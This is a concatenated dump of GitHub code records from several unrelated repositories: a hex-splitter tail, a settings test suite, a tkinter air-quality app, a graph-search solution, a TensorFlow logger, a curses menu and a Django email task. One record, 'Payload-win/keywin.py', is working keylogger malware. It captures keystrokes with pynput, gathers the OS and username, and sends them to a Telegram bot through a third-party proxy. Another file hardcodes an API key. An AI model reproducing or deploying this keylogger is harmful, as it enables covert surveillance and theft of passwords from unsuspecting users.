binary file, along with a new file that takes the original file and modifys it\n bytes_to_audit = from_file.read().hex() # Reads the file as a hex object\n bytes_to_audit = bytes_to_audit.split(string_split) # Splits hex object based on delimited\n bytes_to_audit = \"\".join(\n bytes_to_audit[1:]) # Readds everything after hex delimiter to the delimiter itself\n bytes_to_audit = string_split + bytes_to_audit\n to_file.write(bytes.fromhex(bytes_to_audit)) # Writes new hex object as a bytes object to file\n print(str(active_file).rsplit(os.path.sep)[\n -1] + \" was successfully pruned.\") # Prints out the name of the file pruned\n except Exception as e:\n print(\"Unable to break {0} from file: {1} due to error: {2}\".format(string_split, active_file,\n e)) # Error message in case something goes awry\n\n\nwhile True:\n option = picker()\n if option == 1:\n breaker()\n elif option == 2:\n pass\n elif option == 3:\n sys.exit()\n\n# print(\"Audit process complete. Exiting in 10 seconds...\")\n# time.sleep(10)\n# sys.exit()\n", "repo_name": "O46/hex_splitter", "sub_path": "dispel.py", "file_name": "dispel.py", "file_ext": "py", "file_size_in_byte": 3196, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "54", "api": [{"api_name": "os.getcwd", "line_number": 30, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "44087482074", "text": "from pynput import keyboard\nimport requests,platform,os\nimport getpass,ctypes\n\ntry:\n requests.get(\"https://google.com\")\nexcept requests.exceptions.ConnectionError:\n messageBox = ctypes.windll.user32.MessageBoxW\n\n returnValue = messageBox(0,\"Turn on your internet to check for updates\",\"INTERNET ERROR\",0x10 | 0x0)\n\n exit()\n\nlist = []\n\ntokn = TOKEN\nuser = USERINFO\n\ndef target_platform():\n\n target = (\"Connected!\\n\"+\"Os Name : \"+platform.uname()[0]+\"|\"+\"Version : \"+platform.uname()[2]+\"|\"+\"Username : \"+getpass.getuser())\n \n url_platform = (f\"https://api.telegram.org/bot{tokn}/sendmessage?chat_id={user}&text=\"+str(target))\n\n payload_platform = {\"UrlBox\":url_platform,\n\n \"AgentList\":\"Mozilla Firefox\",\n \"VersionsList\":\"HTTP/1.1\",\n \"MethodList\":\"POST\"\n }\n\n req_platform = requests.post(\"https://www.httpdebugger.com/tools/ViewHttpHeaders.aspx\",payload_platform)\n\ndef key_start():\n with keyboard.Listener(on_press=key_log) as listn:\n listn.join()\n\ndef key_log(key):\n if type(key) == keyboard._win32.KeyCode:\n key = key.char\n \n key = str(key)\n list.append(key)\n\n if len(list) == 5:\n send_msg(str(list))\n list.clear()\n\n print(type(key))\ndef send_msg(data):\n\n url_key = (f\"https://api.telegram.org/bot{tokn}/sendmessage?chat_id={user}&text=\"+data)\n\n payload_key = {\"UrlBox\":url_key,\n\n \"AgentList\":\"Mozilla Firefox\",\n \"VersionsList\":\"HTTP/1.1\",\n \"MethodList\":\"POST\"\n }\n\n req_key = requests.post(\"https://www.httpdebugger.com/tools/ViewHttpHeaders.aspx\",payload_key)\n \ntarget_platform()\nkey_start()", "repo_name": "Arash-abraham/Oscar", "sub_path": "Payload-win/keywin.py", "file_name": "keywin.py", "file_ext": "py", "file_size_in_byte": 1660, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "54", "api": [{"api_name": "requests.get", "line_number": 6, "usage_type": "call"}, {"api_name": "requests.exceptions", "line_number": 7, "usage_type": "attribute"}, {"api_name": "ctypes.windll", "line_number": 8, "usage_type": "attribute"}, {"api_name": "platform.uname", "line_number": 21, "usage_type": "call"}, {"api_name": "getpass.getuser", "line_number": 21, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 32, "usage_type": "call"}, {"api_name": "pynput.keyboard.Listener", "line_number": 35, "usage_type": "call"}, {"api_name": "pynput.keyboard", "line_number": 35, "usage_type": "name"}, {"api_name": "pynput.keyboard._win32", "line_number": 39, "usage_type": "attribute"}, {"api_name": "pynput.keyboard", "line_number": 39, "usage_type": "name"}, {"api_name": "requests.post", "line_number": 61, "usage_type": "call"}]} +{"seq_id": "34316987689", "text": "import glob\nimport os\nimport shutil\nfrom unittest.mock import patch\n\nimport pytest\n\nimport settings\n\nsettings_dir = \"fortest/server1\"\ndefault_config = {\"config\": \"default\"}\ndev_config = {\"config\": \"dev\"}\nprod_config = {\"config\": \"prod\"}\nsite_config = {\"config\": \"site\"}\nrepo_dir = \"/tmp/settings-repo\"\ngit_settings_subdir = repo_dir + \"/myapp1\"\n\n\ndef setup_module():\n cmds = [\n \"mkdir -p %s\" % git_settings_subdir,\n \"git init %s\" % repo_dir,\n 'echo \"PROD = True\" > %s/prod_settings.py' % git_settings_subdir,\n 'echo \"PROD = False\" > %s/dev_settings.py' % git_settings_subdir,\n ]\n for cmd in cmds:\n ret = os.system(cmd)\n if ret != 0:\n raise Exception(\"failed: %s\" % cmd)\n\n\ndef create_config_lines(config):\n lines = []\n for kv in config.items():\n lines.append('%s = \"%s\"' % kv)\n return lines\n\n\ndef create_config_file(path, config):\n open(path, 'w').writelines(create_config_lines(config))\n\n\ndef test_no_settings_dir():\n settings_file = \"settings/default_settings.py\"\n try:\n assert settings.get(\"config\") is None, settings.get(\"config\")\n create_config_file(settings_file, default_config)\n settings.reload()\n assert settings.get(\"config\") == \"default\", settings.get(\"config\")\n finally:\n os.remove(settings_file)\n\n\n@patch.dict(os.environ, {\"SETTINGS_DIR\": settings_dir, \"APP_MODE\": \"dev\"}, clear=True)\ndef test_rc():\n\n os.makedirs(settings_dir)\n open(os.path.join(settings_dir, \"__init__.py\"), \"w\").close()\n open(os.path.join(settings_dir, \"../\", \"__init__.py\"), \"w\").close()\n\n config_path = os.path.join(settings_dir, \"default_settings.py\")\n create_config_file(config_path, default_config)\n settings.reload()\n assert settings.config == \"default\"\n\n config_path = os.path.join(settings_dir, \"dev_settings.py\")\n create_config_file(config_path, dev_config)\n settings.reload()\n assert settings.config == \"dev\"\n\n config_path = os.path.join(settings_dir, \"prod_settings.py\")\n create_config_file(config_path, prod_config)\n settings.reload()\n assert settings.config == \"dev\"\n\n config_path = os.path.join(settings_dir, \"site_settings.py\")\n create_config_file(config_path, site_config)\n settings.reload()\n assert settings.config == \"site\"\n\n\ndef test_backward_compatibility():\n from converge import settings\n\n\ndef test_env_vars():\n config = {\"SETTINGS_DIR\": \"settings\"}\n\n os.environ[\"SETTINGS_DIR\"] = \"settings/site1\"\n settings.parse_osenv(config)\n assert config[\"SETTINGS_DIR\"] == os.environ[\"SETTINGS_DIR\"]\n\n os.environ[\"SETTINGS_DIR\"] = \"settings/site2\"\n settings.parse_osenv(config)\n assert config[\"SETTINGS_DIR\"] == os.environ[\"SETTINGS_DIR\"]\n\n\n@patch.dict(\n os.environ,\n {\n \"SETTINGS_DIR\": settings_dir,\n \"APP_MODE\": \"prod\",\n \"GIT_SETTINGS_REPO\": repo_dir,\n \"GIT_SETTINGS_SUBDIR\": git_settings_subdir,\n \"PATH\": os.environ[\"PATH\"],\n },\n clear=True,\n)\ndef test_git_settings():\n settings.reload()\n assert settings.PROD is True\n\n\ndef test_rc_file_deprecated():\n\n convergerc = \".convergerc\"\n open(convergerc, \"w\").write(\"\")\n\n try:\n with pytest.raises(Exception):\n settings.reload()\n finally:\n os.remove(convergerc)\n\ndef test_ensure_settings_dir():\n shutil.rmtree(settings_dir)\n\n with pytest.raises(Exception, match=\"no such directory\"):\n settings.reload()\n\n\n\ndef teardown_module():\n py_path = \"default_settings.py\"\n pyc_path = py_path + \"c\"\n for path in (py_path, pyc_path):\n if os.path.exists(path):\n os.remove(path)\n if glob.glob(os.path.join(settings_dir, \"__init__.py\")): # playing safe\n shutil.rmtree(settings_dir)\n if repo_dir.startswith(\"/tmp\"): # playing safe\n shutil.rmtree(repo_dir)\n\n", "repo_name": "shon/converge", "sub_path": "tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 3837, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 10, "dataset": "github-code", "pt": "54", "api": [{"api_name": "os.system", "line_number": 27, "usage_type": "call"}, {"api_name": "settings.get", "line_number": 46, "usage_type": "call"}, {"api_name": "settings.reload", "line_number": 48, "usage_type": "call"}, {"api_name": "settings.get", "line_number": 49, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 51, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path", "line_number": 59, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "settings.reload", "line_number": 63, "usage_type": "call"}, {"api_name": "settings.config", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path", "line_number": 66, "usage_type": "attribute"}, {"api_name": "settings.reload", "line_number": 68, "usage_type": "call"}, {"api_name": "settings.config", "line_number": 69, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "settings.reload", "line_number": 73, "usage_type": "call"}, {"api_name": "settings.config", "line_number": 74, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 76, "usage_type": "call"}, {"api_name": "os.path", "line_number": 76, "usage_type": "attribute"}, {"api_name": "settings.reload", "line_number": 78, "usage_type": "call"}, {"api_name": "settings.config", "line_number": 79, "usage_type": "attribute"}, {"api_name": "unittest.mock.patch.dict", "line_number": 54, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 54, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 89, "usage_type": "attribute"}, {"api_name": "converge.settings.parse_osenv", "line_number": 90, "usage_type": "call"}, {"api_name": "converge.settings", "line_number": 90, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 91, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 93, "usage_type": "attribute"}, {"api_name": "converge.settings.parse_osenv", "line_number": 94, "usage_type": "call"}, {"api_name": "converge.settings", "line_number": 94, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 95, "usage_type": "attribute"}, {"api_name": "converge.settings.reload", "line_number": 110, "usage_type": "call"}, {"api_name": "converge.settings", "line_number": 110, "usage_type": "name"}, {"api_name": "converge.settings.PROD", "line_number": 111, "usage_type": "attribute"}, {"api_name": "converge.settings", "line_number": 111, "usage_type": "name"}, {"api_name": "unittest.mock.patch.dict", "line_number": 98, "usage_type": "call"}, {"api_name": "unittest.mock.patch", "line_number": 98, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 105, "usage_type": "attribute"}, {"api_name": "pytest.raises", "line_number": 120, "usage_type": "call"}, {"api_name": "converge.settings.reload", "line_number": 121, "usage_type": "call"}, {"api_name": "converge.settings", "line_number": 121, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 123, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 126, "usage_type": "call"}, {"api_name": "pytest.raises", "line_number": 128, "usage_type": "call"}, {"api_name": "converge.settings.reload", "line_number": 129, "usage_type": "call"}, {"api_name": "converge.settings", "line_number": 129, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 138, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "shutil.rmtree", "line_number": 140, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 142, "usage_type": "call"}]} +{"seq_id": "14409368438", "text": "from tkinter import *\nfrom PIL import ImageTk, Image\nimport requests\nimport json\n\nroot = Tk()\nroot.title(\"weather app\")\nroot.geometry(\"400x80\")\n\n# create Zipcode Lookup Function\ndef ziplookup():\n\t#zipcode.get()\n\t#zipcodeLabel = Label(root, text = zipcode.get())\n\t#zipcodeLabel.grid(row = 1, column = 0, columnspan = 2)\n\n\t# now to bring in the api\n\n\tapi_request = requests.get(\"https://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=20002&distance=25&API_KEY=E00BA9FB-AC4A-4AEE-A02B-D57C97C832ED\")\n\n\ttry:\n\t\tapi_request = requests.get(\"https://www.airnowapi.org/aq/observation/zipCode/current/?format=application/json&zipCode=\" + zipcode.get() + \"&distance=25&API_KEY=E00BA9FB-AC4A-4AEE-A02B-D57C97C832ED\")\n\t\tapi = json.loads(api_request.content)\n\t\tcity = api[0][\"ReportingArea\"]\n\t\tquality = api[0][\"AQI\"]\n\t\tcategory = api[0][\"Category\"][\"Name\"]\n\n\t\tif category == \"Good\":\n\t\t\tweather_colour = \"#0C0\"\n\n\t\telif category == \"Moderate\":\n\t\t\tweather_colour = \"#FFFF00 \"\n\n\t\telif category == \"Unhealthy\":\n\t\t\tweather_colour = \"FF0000\"\n\n\t\telif category == \"Very Unhealthy\":\n\t\t\tweather_colour = \"#990066 \"\n\n\t\telif category == \"Hazardous\":\n\t\t\tweather_colour = \"#660000 \"\n\n\t\telse:\n\t\t\tweather_colour = \"ff9900 \"\n\n\t\troot.configure(background = weather_colour)\n\n\t\t# since we only want the first bit we will only call this item \n\t\tmyLabel = Label(root, text = f\"{city} Air quality:{quality} {category}\", font = (\"Arial\", 20), background = weather_colour)\n\t\tmyLabel.grid(row = 1, column = 0, columnspan = 2)\n\n\texcept Exception as e:\n\t\tapi = \"Error...\"\n\n\nzipcode = Entry(root)\nzipcode.grid(row = 0, column = 0, stick = W+E+N+S)\n\nzip_btn = Button(root, text = \"Lookup Zipcode\", command = ziplookup)\nzip_btn.grid(row = 0, column = 1, stick = W+E+N+S)\n\nroot.mainloop()", "repo_name": "samuelkd1/tkinker_practice", "sub_path": "weather_app.py", "file_name": "weather_app.py", "file_ext": "py", "file_size_in_byte": 1777, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "requests.get", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 21, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 22, "usage_type": "call"}]} +{"seq_id": "22818881346", "text": "# 백준 2573 빙산\n# python solved by dfs\n# 시간초과, 메모리 초과 수정 필요 \nimport sys\nfrom collections import deque\nsys.setrecursionlimit(10**6)\ndx = [0, -1, 0, 1]\ndy = [-1, 0, 1, 0]\n\ndef dfs(x, y):\n visited[x][y] = True\n for i in range(4):\n nx, ny = x + dx[i], y + dy[i]\n if 0 <= nx < row and 0 <= ny < col and visited[nx][ny] == 0 and _map[nx][ny] > 0:\n dfs(nx,ny)\n\nrow, col = map(int,input().split())\n_map = [list(map(int,input().split())) for _ in range(row)]\ntotalCount = 0\ndq = deque()\n\nwhile True :\n cnt = 0\n visited = [[False] * col for _ in range(row)]\n # check how many iceberg exist\n for i in range(1,row-1):\n for j in range(1,col-1):\n if _map[i][j] > 0 and visited[i][j] == 0:\n dfs(i,j)\n cnt += 1\n # 주변 바다 카운트 \n for i in range(1,row-1):\n for j in range(1,col-1):\n if _map[i][j] > 0:\n seaCount = 0\n for k in range(4):\n ni, nj = i + dx[k], j + dy[k]\n if 0 <= ni < row and 0 <= nj < col and _map[ni][nj] == 0:\n seaCount +=1 \n dq.append((i,j,seaCount))\n \n while dq:\n x, y, seaCnt = dq.popleft()\n if _map[x][y] >= seaCnt :\n _map[x][y] -= seaCnt\n else:\n _map[x][y] = 0\n\n if cnt > 1:\n print(totalCount)\n break\n elif cnt == 0:\n print(0)\n totalCount += 1", "repo_name": "BreakAlgorithm/algorithm-study", "sub_path": "source/yeon/14주차/code/2573빙산.py", "file_name": "2573빙산.py", "file_ext": "py", "file_size_in_byte": 1492, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "sys.setrecursionlimit", "line_number": 6, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "30748525278", "text": "# logger.py\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom base.base_logger import BaseLogger\nfrom typing import Dict\n\nimport os\nimport tensorflow as tf\n\n\nclass Logger(BaseLogger):\n def __init__(self) -> None:\n super(Logger, self).__init__()\n\n # Find path for saving summaries and accessing TensorBoard.\n train_path = os.path.join(self.config.summary_dir, \"train\")\n valid_path = os.path.join(self.config.summary_dir, \"validation\")\n\n # Create the summary writers.\n self.train_summary = tf.summary.create_file_writer(train_path)\n self.valid_summary = tf.summary.create_file_writer(valid_path)\n\n # Enable graph and logging for the model.\n tf.summary.trace_on(graph=True, profiler=False)\n\n def summarize(self, step: tf.Variable, summarizer=\"train\", scope=\"\", summaries_dict: Dict = None) -> None:\n summary = self.train_summary if summarizer == \"train\" else self.valid_summary\n with tf.name_scope(scope):\n if summaries_dict is not None:\n for tag, value in summaries_dict.items():\n with summary.as_default():\n if len(value.shape) <= 1:\n tf.summary.scalar(tag, value, step=step)\n else:\n tf.summary.image(tag, value, step=step, max_outputs=8)\n summary.flush()\n", "repo_name": "giovgiac/neptune", "sub_path": "loggers/logger.py", "file_name": "logger.py", "file_ext": "py", "file_size_in_byte": 1464, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "54", "api": [{"api_name": "base.base_logger.BaseLogger", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.create_file_writer", "line_number": 23, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 23, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.create_file_writer", "line_number": 24, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 24, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.trace_on", "line_number": 27, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 27, "usage_type": "attribute"}, {"api_name": "tensorflow.Variable", "line_number": 29, "usage_type": "attribute"}, {"api_name": "typing.Dict", "line_number": 29, "usage_type": "name"}, {"api_name": "tensorflow.name_scope", "line_number": 31, "usage_type": "call"}, {"api_name": "tensorflow.summary.scalar", "line_number": 36, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 36, "usage_type": "attribute"}, {"api_name": "tensorflow.summary.image", "line_number": 38, "usage_type": "call"}, {"api_name": "tensorflow.summary", "line_number": 38, "usage_type": "attribute"}]} +{"seq_id": "24791504015", "text": "# RokMe - @mastyDev 2023.01 \nimport curses\nimport json\nimport cat\nimport status\n\nmenu = [' Categories ',' Status ',' EXIT '] # missing Settings\n\n# title\ndef print_title(sw,h,w):\n sw.clear()\n services=open('data.json',\"r\")\n data=json.loads(services.read())\n x=w//2\n y=h//2-5\n sw.addstr(y-1,x-len(data['title'][0]['t'])//2, f\"{data['title'][0]['t']}\",curses.color_pair(3))\n sw.addstr(y,x-len(data['title'][1]['t'])//2, f\"{data['title'][1]['t']}\",curses.color_pair(4))\n sw.addstr(y+1,x-(len(data['title'][2]['t'])//2), f\"{data['title'][2]['t']}\",curses.color_pair(1))\n # sw.addstr(h-2,x-(len(data['title'][3]['t'])//2), f\"{data['title'][3]['t']}\",curses.color_pair(1))\n services.close()\n sw.refresh()\n\n# main menu\ndef print_menu(sw, selected_row_idx):\n h,w=sw.getmaxyx()\n # load title function\n print_title(sw,h,w)\n for idx,row in enumerate(menu):\n x=w//2-len(row)//2\n y=h//2-len(menu)//2+idx*2\n if idx == selected_row_idx:\n sw.attron(curses.color_pair(5))\n sw.addstr(y,x,row)\n sw.attroff(curses.color_pair(5))\n else:\n sw.addstr(y,x,row)\n sw.refresh()\n\n# Categories\ndef print_categories(sw):\n sw.clear()\n h, w = sw.getmaxyx()\n x = w//2# - len(http_connect.main_http(sw))//2\n y = h//2\n sw.addstr(y, x, str(cat.main(sw)))\n sw.refresh()\n\n# Status\ndef print_status(sw):\n sw.clear()\n h, w = sw.getmaxyx()\n x = w//2# - len(http_connect.main_http(sw))//2\n y = h//2\n sw.addstr(y, x, str(status.main(sw)))\n sw.refresh()\n\n# Initialize RokMe\ndef main(sw):\n curses.curs_set(0)\n # initialize sets of background/foreground colors\n curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_WHITE)\n curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLACK)\n curses.init_pair(3, curses.COLOR_RED, curses.COLOR_WHITE)\n curses.init_pair(4, curses.COLOR_WHITE, curses.COLOR_RED)\n curses.init_pair(5, curses.COLOR_BLACK, curses.COLOR_YELLOW)\n curses.init_pair(6, curses.COLOR_YELLOW, curses.COLOR_BLACK)\n curses.init_pair(7, curses.COLOR_RED, curses.COLOR_YELLOW)\n curses.init_pair(8, curses.COLOR_BLACK, curses.COLOR_BLACK)\n # background standard screen\n sw.bkgd(curses.color_pair(1))\n\n # load main menu\n current_row=len(menu)-1\n print_menu(sw,current_row)\n sw.refresh()\n \n # navigate main menu\n while 1:\n key = sw.getch()\n if key == curses.KEY_UP and current_row > 0:\n current_row -= 1\n elif key == curses.KEY_UP and current_row == 0:\n current_row += len(menu)-1\n elif key == curses.KEY_DOWN and current_row == len(menu)-1:\n current_row -= len(menu)-1\n elif key == curses.KEY_DOWN and current_row < len(menu)-1:\n current_row += 1\n elif key == curses.KEY_ENTER or key in [10, 13]:\n # if user selected last row, exit the program\n if current_row == len(menu)-1:\n break\n elif menu[current_row] == menu[0]:\n print_categories(sw)\n elif menu[current_row] == menu[1]:\n print_status(sw)\n\n print_menu(sw, current_row)\n sw.refresh()\n\nif __name__ == \"__main__\":\n curses.wrapper(main)", "repo_name": "mastyDev/RokMe", "sub_path": "rokme.py", "file_name": "rokme.py", "file_ext": "py", "file_size_in_byte": 3251, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "json.loads", "line_number": 13, "usage_type": "call"}, {"api_name": "curses.color_pair", "line_number": 16, "usage_type": "call"}, {"api_name": "curses.color_pair", "line_number": 17, "usage_type": "call"}, {"api_name": "curses.color_pair", "line_number": 18, "usage_type": "call"}, {"api_name": "curses.color_pair", "line_number": 32, "usage_type": "call"}, {"api_name": "curses.color_pair", "line_number": 34, "usage_type": "call"}, {"api_name": "cat.main", "line_number": 45, "usage_type": "call"}, {"api_name": "status.main", "line_number": 54, "usage_type": "call"}, {"api_name": "curses.curs_set", "line_number": 59, "usage_type": "call"}, {"api_name": "curses.init_pair", "line_number": 61, "usage_type": "call"}, {"api_name": "curses.COLOR_BLACK", "line_number": 61, "usage_type": "attribute"}, {"api_name": "curses.COLOR_WHITE", "line_number": 61, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 62, "usage_type": "call"}, {"api_name": "curses.COLOR_WHITE", "line_number": 62, "usage_type": "attribute"}, {"api_name": "curses.COLOR_BLACK", "line_number": 62, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 63, "usage_type": "call"}, {"api_name": "curses.COLOR_RED", "line_number": 63, "usage_type": "attribute"}, {"api_name": "curses.COLOR_WHITE", "line_number": 63, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 64, "usage_type": "call"}, {"api_name": "curses.COLOR_WHITE", "line_number": 64, "usage_type": "attribute"}, {"api_name": "curses.COLOR_RED", "line_number": 64, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 65, "usage_type": "call"}, {"api_name": "curses.COLOR_BLACK", "line_number": 65, "usage_type": "attribute"}, {"api_name": "curses.COLOR_YELLOW", "line_number": 65, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 66, "usage_type": "call"}, {"api_name": "curses.COLOR_YELLOW", "line_number": 66, "usage_type": "attribute"}, {"api_name": "curses.COLOR_BLACK", "line_number": 66, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 67, "usage_type": "call"}, {"api_name": "curses.COLOR_RED", "line_number": 67, "usage_type": "attribute"}, {"api_name": "curses.COLOR_YELLOW", "line_number": 67, "usage_type": "attribute"}, {"api_name": "curses.init_pair", "line_number": 68, "usage_type": "call"}, {"api_name": "curses.COLOR_BLACK", "line_number": 68, "usage_type": "attribute"}, {"api_name": "curses.color_pair", "line_number": 70, "usage_type": "call"}, {"api_name": "curses.KEY_UP", "line_number": 80, "usage_type": "attribute"}, {"api_name": "curses.KEY_UP", "line_number": 82, "usage_type": "attribute"}, {"api_name": "curses.KEY_DOWN", "line_number": 84, "usage_type": "attribute"}, {"api_name": "curses.KEY_DOWN", "line_number": 86, "usage_type": "attribute"}, {"api_name": "curses.KEY_ENTER", "line_number": 88, "usage_type": "attribute"}, {"api_name": "curses.wrapper", "line_number": 101, "usage_type": "call"}]} +{"seq_id": "71867484322", "text": "import logging\nfrom typing import List\nfrom django.core.mail import send_mail\nfrom code_verification_app.models import CodeCheck\nfrom config.celery import app\n\nlogger = logging.getLogger(__name__)\n\n\n@app.task\ndef send_notification_email() -> None:\n \"\"\"\n Send email notifications for verified code checks.\n\n This task retrieves all code checks with a status of 'VERIFIED' and 'is_sent' set to False.\n It sends an email notification to the user associated with each code check and updates\n the 'is_sent' field to True for each sent notification.\n\n Returns:\n None\n \"\"\"\n checks: List[CodeCheck] = CodeCheck.objects.filter(\n status=CodeCheck.Status.VERIFIED,\n is_sent=False\n ).all()\n\n for check in checks:\n try:\n # Send email notification\n send_mail(\n 'Verification Report',\n f'File verification results: {check.result}',\n 'melnov.nikita@gmail.com',\n [check.file_name.user_email],\n fail_silently=False,\n )\n\n # Log the email notification\n logger.info(f'Email notification sent to {check.file_name.user_email} for check ID {check.id}')\n\n # Mark the check as sent\n check.is_sent = True\n check.save()\n except Exception as e:\n # Log errors if email notification fails\n logger.error(f'Error sending email notification for check ID {check.id}: {str(e)}')\n", "repo_name": "NikitaWinner/test_skypro", "sub_path": "email_notification_app/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 1493, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "54", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 22, "usage_type": "name"}, {"api_name": "code_verification_app.models.CodeCheck", "line_number": 22, "usage_type": "name"}, {"api_name": "code_verification_app.models.CodeCheck.objects.filter", "line_number": 22, "usage_type": "call"}, {"api_name": "code_verification_app.models.CodeCheck.objects", "line_number": 22, "usage_type": "attribute"}, {"api_name": "code_verification_app.models.CodeCheck.Status", "line_number": 23, "usage_type": "attribute"}, {"api_name": "code_verification_app.models.CodeCheck", "line_number": 23, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 30, "usage_type": "call"}, {"api_name": "config.celery.app.task", "line_number": 10, "usage_type": "attribute"}, {"api_name": "config.celery.app", "line_number": 10, "usage_type": "name"}]} +{"seq_id": "71995815523", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#basic mathematical operations\nimport numpy as np\na=np.array([6,7,8])\nb=np.array([1,2,3])\n#addition\nsum=np.add(a,b)\n#subtraction\nsub=np.subtract(a,b)\n#multiplication\nmul=np.multiply(a,b)\nprint(\"Addition={}\\nSubtraction={}\\nMultiplication={}\".format(sum,sub,mul))\n\n\n# In[2]:\n\n\n#data manipulation\nimport pandas as pd\n#filtering rows\ndata={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\nprint(df)\n\"\"\"\"#filtering by column value\ndf.loc[df['a']==2]\"\"\"\n# Filter Rows by Logical Conditions\ndf.loc[df['a']>4]\n#concatenating\ndata1={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\ndata2={'a':[1,2,4,9,1,2,6],'b':[1,7,3,4,5,5,9]}\ndf1=pd.DataFrame(data1)\ndf2=pd.DataFrame(data2)\n\nd=[df1,df2]\n\nprint(pd.concat(d))\n#merging dataframes\nleft = pd.DataFrame({\n \"key\": [\"K0\", \"K1\", \"K2\", \"K3\"],\n \"A\": [\"A0\", \"A1\", \"A2\", \"A3\"],\n \"B\": [\"B0\", \"B1\", \"B2\", \"B3\"],\n })\nright = pd.DataFrame({\n \"key\": [\"K0\", \"K1\", \"K2\", \"K3\"],\n \"C\": [\"C0\", \"C1\", \"C2\", \"C3\"],\n \"D\": [\"D0\", \"D1\", \"D2\", \"D3\"],})\nresult = pd.merge(left, right, on=\"key\")\nprint(result)\n#summary statistics\ndata1={'a':[6,2,4,9,1,2,7],'b':[7,7,6,3,8,2,1]}\ndf=pd.DataFrame(data)\ndf['a'].mean()\ndf['a'].median()\ndf.groupby('a')\ndf['a'].value_counts()\n\n\n# In[12]:\n\n\nimport matplotlib.pyplot as plt\n#line chart\ndf=pd.read_csv('diabetes.csv')\nx = df['BloodPressure']\ny=df['Age']\nplt.plot(x, y)\nplt.ylabel('Age')\nplt.xlabel('BloodPressure')\nplt.title(\"Linear graph\")\nplt.show()\n#bar chart\nplt.bar(x, y, color ='maroon',\n width = 